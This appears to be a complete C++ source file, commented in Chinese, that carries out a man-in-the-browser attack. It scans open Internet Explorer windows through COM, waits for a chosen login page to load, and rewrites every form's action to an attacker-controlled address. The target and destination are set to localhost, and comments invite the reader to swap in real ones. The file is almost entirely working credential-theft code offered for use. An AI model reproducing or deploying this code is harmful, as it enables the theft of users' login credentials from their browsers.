#include "stdafx.h"
#include "windows.h"
#include "exdisp.h"
#include "mshtml.h"
BOOL IsReadyTarget(IWebBrowser2 *browser)
{
HRESULT hr;
VARIANT_BOOL vBool;
BSTR bstrUrl;
BOOL bRet = FALSE;
LPWSTR szTarget = L"http://localhost/login.php"; //这是我的本地测试页面,具体情况具体修改!
//我们需要重视站点中可见的部分
browser->get_Visible(&vBool);
if (!vBool)
return FALSE;
//获取当前URL
hr = browser->get_LocationURL(&bstrUrl);
if (hr !=S_OK || !bstrUrl)
return FALSE;
//检查URL并等待加载
if (wcsstr((LPCWSTR)bstrUrl,szTarget) !=NULL) {
do
{
browser->get_Busy(&vBool);
Sleep(1000);
} while (vBool);
bRet = TRUE;
}
SysFreeString(bstrUrl);
return bRet;
}
BOOL ReplaceForms(IHTMLDocument2 *doc)
{
HRESULT hr;
IHTMLElementCollection *forms;
IHTMLFormElement *element;
IDispatch *theform;
VARIANT vEmpty;
VARIANT vIndexForms;
LONG CountForms;
BOOL bRet = FALSE;
BSTR bstrEvil = SysAllocString(L"http://localhost/nandi.php"); //这里是我伪造的action,具体情况具体分析
//查询doc表单
hr = doc->get_forms((IHTMLElementCollection**)&forms);
if (hr != S_OK || !forms)
return FALSE;
//在doc中循环每一个表单元素
forms->get_length(&CountForms);
for (int j=0; j<CountForms;j++)
{
vIndexForms.lVal = j;
vIndexForms.vt = VT_I4;
hr = forms->item( vEmpty,vIndexForms,(IDispatch**)&theform);
if (hr !=S_OK || !theform)
{
continue;
}
//取得表单元素
hr = theform->QueryInterface(IID_IHTMLFormElement,
(void**)&element);
if (hr == S_OK && element)
{
//替换action的地址
hr = element->put_action(bstrEvil);
if (hr == S_OK)
{
bRet = TRUE;
}
element->Release();
}
theform->Release();
}
forms->Release();
SysFreeString(bstrEvil);
return bRet;
}
int _tmain(int argc, _TCHAR* argv[])
{
HRESULT hr;
IShellWindows *shell;
IDispatch *folder;
IDispatch *html;
IWebBrowser2 *browser;
IHTMLDocument2 *doc;
LONG Count;
VARIANT vIndex;
BOOL bDone = FALSE;
CoInitialize(NULL);
DWORD dwFlags = CLSCTX_REMOTE_SERVER|
CLSCTX_LOCAL_SERVER|
CLSCTX_INPROC_HANDLER|
CLSCTX_INPROC_SERVER;
//等待用户访问目标页面
while(1)
{
//激活IShellWindows接口
hr = CoCreateInstance(CLSID_ShellWindows,
NULL,dwFlags,
IID_IShellWindows, (void **)&shell);
if(hr != S_OK)
{
printf("CoCreateInstance failed:0x%x!\n",hr);
break;
}
//遍历循环所有存在的IE窗口
shell->get_Count(&Count);
for(int i=0; i < Count;i++)
{
vIndex.vt = VT_I4;
vIndex.lVal = i;
hr = shell->Item(vIndex, (IDispatch **)&folder);
if (hr !=S_OK || !folder)
{
continue;
}
//尝试激活IWebBrowser2接口
hr = folder->QueryInterface(IID_IWebBrowser2,
(void **)&browser);
if (hr !=S_OK || !browser)
{
folder->Release();
continue;
}
//当用户访问目标页面,等待页面加载完成,从浏览器提取IHTMLDocument接口,然后尝试进行注入HTML
if (IsReadyTarget(browser))
{
hr = browser->get_Document((IDispatch**)&html);
if (hr == S_OK && html)
{
hr = html->QueryInterface(IID_IHTMLDocument2,
(void**)&doc);
if (hr == S_OK && doc)
{
bDone = ReplaceForms(doc);
doc->Release();
}
html->Release();
}
}
browser->Release();
}
shell->Release();
//如果成功,结束循环
if(bDone)
break;
Sleep(1000);
}
CoUninitialize();
return 0;
}